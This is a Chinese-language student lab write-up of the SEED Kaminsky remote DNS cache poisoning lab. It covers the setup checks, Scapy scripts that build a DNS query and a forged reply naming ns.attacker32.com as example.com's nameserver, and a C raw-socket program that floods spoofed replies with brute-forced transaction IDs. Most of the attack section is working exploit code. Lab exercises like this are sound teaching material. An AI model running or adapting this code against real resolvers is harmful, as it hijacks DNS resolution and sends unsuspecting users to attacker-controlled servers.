一、实验目的
这个实验的目的是让学生获得关于远程DNS缓存中毒攻击(也称为Kaminsky DNS攻击)的第一手经验。DNS(域名系统)是互联网的电话簿;它将主机名转换为IP地址,反之亦然。这种转换是通过DNS解析进行的,它在幕后进行。DNS攻击以各种方式操纵这个解析过程,目的是将用户误导到其他目的地,这通常是恶意的。这个实验室专注于一种特殊的DNS攻击技术,称为DNS缓存中毒攻击。
• DNS and how it works
• DNS server setup
• DNS cache poisoning attack
• Spoofing DNS responses
• Packet spoofing
二、实验环境
三、进行实验
Testing the DNS Setup
Get the IP address of ns.attacker32.com
当我们运行以下dig命令时,由于本地DNS服务器配置文件中添加的转发区域条目,本地DNS服务器将请求转发给攻击者名称服务器。因此,答案应该来自于我们在攻击者命名服务器上设置的区域文件(attacker32.com.zone)。
Get the IP address of www.example.com
两个命名服务器现在托管example.com域,一个是该域的官方命名服务器,另一个是攻击者容器。我们将查询这两个名称服务器,看看将得到什么响应。
1.官方的服务器。
2.攻击者服务器
The Attack Tasks
Task 2: Construct DNS request
本任务主要负责发送DNS请求。为了完成攻击,攻击者需要触发目标DNS服务器发出DNS查询,从而有机会欺骗DNS回复。因为攻击者需要多次尝试才能成功,所以最好使用程序自动化这个过程。
1.编写DNS请求代码。
#!/usr/bin/python3
from scapy.all import *
# based on SEED book code
# from a random src to local DNS server
IPpkt = IP(src='1.2.3.4',dst='10.9.0.53')
# from a random sport to DNS dport
UDPpkt = UDP(sport=12345, dport=53,chksum=0)
# a inexistent fake FQDN in the target domain: example.com
# the C code will modify it
Qdsec = DNSQR(qname='twysw.example.com')
DNSpkt = DNS(id=0xAAAA, qr=0, qdcount=1, qd=Qdsec)
Querypkt = IPpkt/UDPpkt/DNSpkt
# Save the packet data to a file
with open('ip_req.bin', 'wb') as f:
f.write(bytes(Querypkt))
Querypkt.show()
# reply = sr1(Querypkt)
2.运行查看结果
Task 3: Spoof DNS Replies
在这个任务中,我们需要在 Kaminsky 攻击中欺骗DNS回复。由于我们的目标是example.com,我们需要从这个域名服务器上伪造回复。
1.编写欺骗回复代码。
#!/usr/bin/python3
from scapy.all import *
# based on SEED book code
targetName = 'twysw.example.com'
targetDomain = 'example.com'
# find the true name servers for the target domain
# dig +short $(dig +short NS example.com), there are two:
# 199.43.133.53, 199.43.135.53
# the C code will modify src,qname,rrname and the id field
# reply pkt from target domain NSs to the local DNS server
IPpkt = IP(src='199.43.135.53', dst='10.9.0.53', chksum=0)
UDPpkt = UDP(sport=53, dport=33333, chksum=0)
# Question section
Qdsec = DNSQR(qname=targetName)
# Answer section, any IPs(rdata) are fine
Anssec = DNSRR(rrname=targetName, type='A',
rdata='1.2.3.4', ttl=259200)
# Authority section (the main goal of the attack)
NSsec = DNSRR(rrname=targetDomain, type='NS',
rdata='ns.attacker32.com', ttl=259200)
# http://unixwiz.net/techtips/iguide-kaminsky-dns-vuln.html
DNSpkt = DNS(id=0xAAAA, aa=1,ra=0, rd=0, cd=0, qr=1,
qdcount=1, ancount=1, nscount=1, arcount=0,
qd=Qdsec, an=Anssec, ns=NSsec)
Replypkt = IPpkt/UDPpkt/DNSpkt
with open('ip_resp.bin', 'wb') as f:
f.write(bytes(Replypkt))
Replypkt.show()
2.运行查看结果。
发现伪造回复成功。
Task 4: Launch the Kaminsky Attack
在攻击中,我们需要发送许多欺骗的DNS回复,希望其中一个命中正确的交易号码,并比合法的回复更快到达。因此,速度是至关重要的:发送的数据包越多,成功率就越高。如果我们使用Scapy发送欺骗的DNS回复,就像我们在上一个任务中所做的那样,成功率太低了。
1.因为有对速度的要求所以应该使用c语言来进行攻击代码。
#include <stdlib.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <time.h>
// based on the provided framework and SEED book code
#define MAX_FILE_SIZE 1000000
/* IP Header */
struct ipheader {
unsigned char iph_ihl:4, //IP header length
iph_ver:4; //IP version
unsigned char iph_tos; //Type of service
unsigned short int iph_len; //IP Packet length (data + header)
unsigned short int iph_ident; //Identification
unsigned short int iph_flag:3, //Fragmentation flags
iph_offset:13; //Flags offset
unsigned char iph_ttl; //Time to Live
unsigned char iph_protocol; //Protocol type
unsigned short int iph_chksum; //IP datagram checksum
struct in_addr iph_sourceip; //Source IP address
struct in_addr iph_destip; //Destination IP address
};
void send_raw_packet(char * buffer, int pkt_size);
void send_dns_request(unsigned char* pkt, int pktsize, char* name);
void send_dns_response(unsigned char* pkt, int pktsize,
unsigned char* src, char* name,
unsigned short id);
int main()
{
unsigned short transid = 0;
srand(time(NULL));
// Load the DNS request packet from file
FILE * f_req = fopen("ip_req.bin", "rb");
if (!f_req) {
perror("Can't open 'ip_req.bin'");
exit(1);
}
unsigned char ip_req[MAX_FILE_SIZE];
int n_req = fread(ip_req, 1, MAX_FILE_SIZE, f_req);
// Load the first DNS response packet from file
FILE * f_resp = fopen("ip_resp.bin", "rb");
if (!f_resp) {
perror("Can't open 'ip_resp.bin'");
exit(1);
}
unsigned char ip_resp[MAX_FILE_SIZE];
int n_resp = fread(ip_resp, 1, MAX_FILE_SIZE, f_resp);
char a[26]="abcdefghijklmnopqrstuvwxyz";
while (1) {
// Generate a random name with length 5
char name[6];
name[5] = '\0';
for (int k=0; k<5; k++) name[k] = a[rand() % 26];
printf("name: %s, id:%d\n", name, transid);
//##################################################################
/* Step 1. Send a DNS request to the targeted local DNS server.
This will trigger the DNS server to send out DNS queries */
send_dns_request(ip_req, n_req, name);
/* Step 2. Send many spoofed responses to the targeted local DNS server,
each one with a different transaction ID. */
for (int i = 0; i < 500; i++)
{
send_dns_response(ip_resp, n_resp, "199.43.133.53", name, transid);
send_dns_response(ip_resp, n_resp, "199.43.135.53", name, transid);
transid += 1;
}
//##################################################################
}
}
/* Use for generating and sending fake DNS request.
* */
void send_dns_request(unsigned char* pkt, int pktsize, char* name)
{
// replace twysw in qname with name, at offset 41
memcpy(pkt+41, name, 5);
// send the dns query out
send_raw_packet(pkt, pktsize);
}
/* Use for generating and sending forged DNS response.
* */
void send_dns_response(unsigned char* pkt, int pktsize,
unsigned char* src, char* name,
unsigned short id)
{
// the C code will modify src,qname,rrname and the id field
// src ip at offset 12
int ip = (int)inet_addr(src);
memcpy(pkt+12, (void*)&ip, 4);
// qname at offset 41
memcpy(pkt+41, name, 5);
// rrname at offset 64
memcpy(pkt+64, name, 5);
// id at offset 28
unsigned short transid = htons(id);
memcpy(pkt+28, (void*)&transid, 2);
//send the dns reply out
send_raw_packet(pkt, pktsize);
}
/* Send the raw packet out
* buffer: to contain the entire IP packet, with everything filled out.
* pkt_size: the size of the buffer.
* */
void send_raw_packet(char * buffer, int pkt_size)
{
struct sockaddr_in dest_info;
int enable = 1;
// Step 1: Create a raw network socket.
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
// Step 2: Set socket option.
setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
&enable, sizeof(enable));
// Step 3: Provide needed information about destination.
struct ipheader *ip = (struct ipheader *) buffer;
dest_info.sin_family = AF_INET;
dest_info.sin_addr = ip->iph_destip;
// Step 4: Send the packet out.
sendto(sock, buffer, pkt_size, 0,
(struct sockaddr *)&dest_info, sizeof(dest_info));
close(sock);
}
2.在attack容器中进行攻击,在local-dns-server-10.9.0.53进行查看。
根据结果可以发现攻击成功。
Task 5: Result Verification
如果攻击成功,则在本DNS服务器的DNS缓存中,example.com的NS记录将变成ns.attacker32.com。当此服务器接收到关于example.com域内任何主机名的DNS查询时,它将发送一个查询到ns.attacker32.com,而不是发送到该域的合法名称服务器。